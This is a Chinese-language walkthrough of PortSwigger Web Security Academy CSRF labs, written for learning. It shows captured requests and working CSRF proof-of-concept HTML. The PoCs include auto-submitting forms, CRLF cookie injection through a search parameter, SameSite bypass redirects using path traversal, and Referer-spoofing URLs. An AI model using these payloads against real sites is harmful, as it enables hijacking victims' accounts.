portswigger——跨站请求伪造(CSRF)

跨站请求伪造(CSRF)
CSRF vulnerability with no defenses
没有防御措施的 CSRF 漏洞
使用凭据登录到自己的帐户:wiener:peter

登录之后可以更改自己的邮箱

提交更改会有一个302跳转

这时可以看到邮箱已经更改

将邮箱更换

转到漏洞利用服务器,将漏洞利用 HTML 粘贴到"正文"部分,然后单击"存储"。要验证该漏洞是否有效,请单击"查看漏洞利用",然后检查生成的HTTP请求和响应

点击发送请求,burp抓包

可以看到邮箱已经更改

贴一下两次的报文
POST /my-account/change-email HTTP/1.1
Host: acc01f1d1e80a3c9c0700f9a0082009c.web-security-academy.net
Cookie: session=zCL4Ukng52CRNgVEqzKFbL2jg9VlkPJy
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: https://acc01f1d1e80a3c9c0700f9a0082009c.web-security-academy.net
Referer: https://acc01f1d1e80a3c9c0700f9a0082009c.web-security-academy.net/my-account
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
email=111111%40qq.
poc
POST /my-account/change-email HTTP/1.1
Host: acc01f1d1e80a3c9c0700f9a0082009c.web-security-academy.net
Cookie: session=zCL4Ukng52CRNgVEqzKFbL2jg9VlkPJy
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: https://exploit-aca31f3b1e76a399c0320f4001780012.web-security-academy.net
Referer: https://exploit-aca31f3b1e76a399c0320f4001780012.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close
email=111112%40qq.com
CSRF where token validation depends on request method
CSRF,其中令牌验证取决于请求方法
使用上下文菜单上的"更改请求方法"将其转换为 GET 请求,并观察CSRF 令牌是否不再经过验证
CSRF where token validation depends on token being present
CSRF,其中令牌验证取决于令牌是否存在
如果token存在,某些应用程序会正确验证token,但是如果省略token,则跳过验证。
在这种情况下,攻击者可以删除包含token的整个参数(而不仅仅是令牌的值),以绕过验证并进行CSRF攻击
删除令牌
CSRF where token is not tied to user session(CSRF token未绑定到用户会话)
CSRF token未绑定到用户会话
某些应用程序无法验证令牌与发出请求的用户属于同一会话。而是,应用程序维护已发出的全局令牌池,并接受该池中显示的所有令牌。
在这种情况下,攻击者可以使用自己的帐户登录应用程序,获取有效令牌,然后在其CSRF攻击中将该令牌提供给受害者用户。

POST /my-account/change-email HTTP/1.1
Host: ac921f011e0305b3c065954600d1006d.web-security-academy.net
Cookie: session=m7Ur2w3scMz7Z7nztJh3VfQmBNDqRMTL
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Origin: https://ac921f011e0305b3c065954600d1006d.web-security-academy.net
Referer: https://ac921f011e0305b3c065954600d1006d.web-security-academy.net/my-account
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
email=111111%40qq.com&csrf=ZgEFuRA8BrEnuQYqWbhRPGxF5ND1BeRR
重复提交请求,提示CSRF token错误,证明csrf令牌是一次性的

利用方法:使用A账号登录并发送修改邮箱请求,burp抓包拦截不发送,生成CSRF POC,退出A,使用B登录,B点击生成的POC发送请求,可以成功更改邮箱。
CSRF where token is tied to non-session cookie(令牌绑定到非会话 Cookie的CSRF)
令牌绑定到非会话 Cookie的CSRF
csrf和csrfKey成对绑定但和用户身份认证无关
在上述漏洞的变体中,某些应用程序确实将 CSRF 令牌绑定到 Cookie,但不会绑定到用于跟踪会话的同一 Cookie。当应用程序采用两个不同的框架时,很容易发生这种情况,一个用于会话处理,另一个用于CSRF保护,这两个框架没有集成在一起:
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF;csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv
csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com
这种情况更难利用,但仍然容易受到攻击。如果网站包含任何允许攻击者在受害者浏览器中设置cookie的行为,则可能受到攻击。
攻击者可以使用自己的帐户登录到应用程序,获取有效的csrf令牌和关联的cookie,利用cookie设置行为将其cookie放入受害者的浏览器中,并在其CSRF攻击中将其令牌提供给受害者。
正常提交修改邮箱表单

修改session,会退出登录

修改csrfKey,提示"Invalid CSRF token"

修改csrf参数同样会提示"Invalid CSRF token"

在主页的搜索功能,提交参数并抓包

服务器返回的数据包会设置cookie

则利用思路为
A 抓取修改邮箱数据包,生成CSRF POC ,复制csrfKey
添加一个图片标签,请求搜索页面,请求参数会被带回,以此设置B的cookie

CSRF POC
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://aca41f471f923a51c05f717500d200b9.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="611111@qq.com" />
<input type="hidden" name="csrf" value="seIKeLdcNS7tByXxqREzcM9LujABQzvC" />
<input type="submit" value="Submit request" />
<img src="https://aca41f471f923a51c05f717500d200b9.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=xUy2F9IUI7fRXnMD6SmmUKwvysH4eVwn" onerror="document.forms[0].submit()">
</form>
</body>
</html>
切换B登录

获取连接

可以看到先请求的图片连接

返回包会设置csrfKey

再次发起请求,完成B的邮箱修改

修改成功

CSRF token is simply duplicated in a cookie
在 Cookie 中复制令牌的 CSRF
在上述漏洞的进一步变体中,某些应用程序不维护已颁发令牌的任何服务器端记录,而是复制 Cookie 和请求参数中的每个令牌。验证后续请求时,应用程序只需验证在请求参数中提交的令牌是否与在 Cookie 中提交的值匹配。这有时被称为针对CSRF的"双重提交"防御,并且被提倡,因为它易于实现并且避免了对任何服务器端状态的需求:
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa
csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com
在此情况下,如果网站包含任何 Cookie 设置功能,攻击者可以再次执行 CSRF 攻击。在这里,攻击者不需要获取自己的有效令牌。他们只是发明了一个令牌(如果正在检查,可能是所需的格式),利用cookie设置行为将他们的cookie放入受害者的浏览器中,并在他们的CSRF攻击中将他们的令牌提供给受害者。
只需和搜索功能结合,可以自定义csrf参数利用



<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://0abb004004166cf9c06a08d9005100d9.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="wienerq@normal-user.net" />
<input type="hidden" name="csrf" value="qaz" />
<input type="submit" value="Submit request" />
<img src="https://0abb004004166cf9c06a08d9005100d9.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=qaz%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
</form>
</body>
</html>
发送给受害者
SameSite Lax bypass via method override

更改为GET请求

/my-account/change-email?email=foo%40web-security-academy.net&_method=POST

邮箱已修改

<script>
document.location = "https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email?email=pwned@web-security-academy.net&_method=POST";
</script>
SameSite Strict bypass via client-side redirect
Cookie 的SameSite属性用来限制第三方 Cookie,从而减少安全风险。
它可以设置三个值。
- Strict
- Lax
- None
2.1 Strict
Strict最为严格,完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie。换言之,只有当前网页的 URL 与请求目标一致,才会带上 Cookie。
Set-Cookie: CookieName=CookieValue; SameSite=Strict;
这个规则过于严格,可能造成非常不好的用户体验。比如,当前网页有一个 GitHub 链接,用户点击跳转就不会带有 GitHub 的 Cookie,跳转过去总是未登陆状态。
2.2 Lax
Lax规则稍稍放宽,大多数情况也是不发送第三方 Cookie,但是导航到目标网址的 Get 请求除外。
Set-Cookie: CookieName=CookieValue; SameSite=Lax;
导航到目标网址的 GET 请求,只包括三种情况:链接,预加载请求,GET 表单。详见下表。
| 请求类型 | 示例 | 正常情况 | Lax |
|---|---|---|---|
| 链接 | <a href="..."></a> |
发送 Cookie | 发送 Cookie |
| 预加载 | <link rel="prerender" href="..."/> |
发送 Cookie | 发送 Cookie |
| GET 表单 | <form method="GET" action="..."> |
发送 Cookie | 发送 Cookie |
| POST 表单 | <form method="POST" action="..."> |
发送 Cookie | 不发送 |
| iframe | <iframe src="..."></iframe> |
发送 Cookie | 不发送 |
| AJAX | $.get("...") |
发送 Cookie | 不发送 |
| Image | <img src="..."> |
发送 Cookie | 不发送 |
设置了Strict或Lax以后,基本就杜绝了 CSRF 攻击。当然,前提是用户浏览器支持 SameSite 属性。
2.3 None
Chrome 计划将Lax变为默认设置。这时,网站可以选择显式关闭SameSite属性,将其设为None。不过,前提是必须同时设置Secure属性(Cookie 只能通过 HTTPS 协议发送),否则无效。
下面的设置无效。
Set-Cookie: widget_session=abc123; SameSite=None
下面的设置有效。
Set-Cookie: widget_session=abc123; SameSite=None; Secure
登陆设置

评论功能

302跳转


https://0a1c000a0448770fc67fa4b400d400b7.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account
当客户端重定向发生时,仍然最终会进入登录帐户页面。这确认浏览器在第二个请求中包含经过身份验证的会话 Cookie,即使最初的评论提交请求是从任意外部站点发起的。
POC
<script>
document.location = "https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40web-security-academy.net%26submit=1";
</script>
漏洞利用
将POST /my-account/change-email请求发送到burp中继器。
在“打嗝转发器”中,右键单击请求并选择“更改请求方法”。Burp 自动生成一个等效的请求。GET
发送请求。请注意,终端节点允许您使用请求更改电子邮件地址。GET

返回漏洞利用服务器并更改漏洞利用中的参数,以便重定向导致浏览器发送等效请求以更改您的电子邮件地址:postIdGET
<script>
document.location = "https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40web-security-academy.net%26submit=1";
</script>
请注意,您需要包含参数和 URL 编码与号分隔符,以避免在初始设置请求中中断参数。submitpostId
在自己身上测试漏洞,并确认您已成功更改电子邮件地址。

跳转

Set-Cookie: session=C4aICjPRpE9lAAUvEzMTw2NFTYZpUcc7; Secure; HttpOnly; SameSite=Strict
服务器设置cookie,但后续请求会使用之前的cookie
更改邮箱


Referer-based defenses against CSRF(基于Referer的CSRF防御)
除了使用 CSRF 令牌的防御之外,某些应用程序还利用 HTTP 标头来尝试防御 CSRF 攻击,通常是通过验证请求是否源自应用程序自己的域。这种方法通常效果较差,并且经常被绕过。
引用程序标头
HTTP 引用程序标头(在 HTTP 规范中无意中拼写错误)是一个可选的请求标头,其中包含链接到所请求资源的网页的 URL。当用户触发 HTTP 请求时,浏览器通常会自动添加它,包括通过单击链接或提交表单。存在各种方法,允许链接页保留或修改标头的值。这通常是出于隐私原因。Referer
Validation of Referer depends on header being present(Referer的验证取决于是否存在标头)
某些应用程序会在请求中存在标头时对其进行验证,但如果省略了标头,则跳过验证。Referer
在此情况下,攻击者可以利用 CSRF 攻击,使受害用户的浏览器在生成的请求中删除标头。有多种方法可以实现此目的,但最简单的方法是在托管CSRF攻击的HTML页面中使用META标记:Referer
<meta name="referrer" content="never">
Validation of Referer can be circumvented(Referer的验证可被绕过)
一些应用程序以可以绕过的简单方式验证标头。例如,如果应用程序验证中的域以预期值开始,则攻击者可以将其作为自己域的子域:RefererReferer
http://vulnerable-website.com.attacker-website.com/csrf-attack
同样,如果应用程序只是验证包含其自己的域名,则攻击者可以将所需的值放在URL:Referer的其他位置
http://attacker-website.com/csrf-attack?vulnerable-website.com

浙公网安备 33010602011771号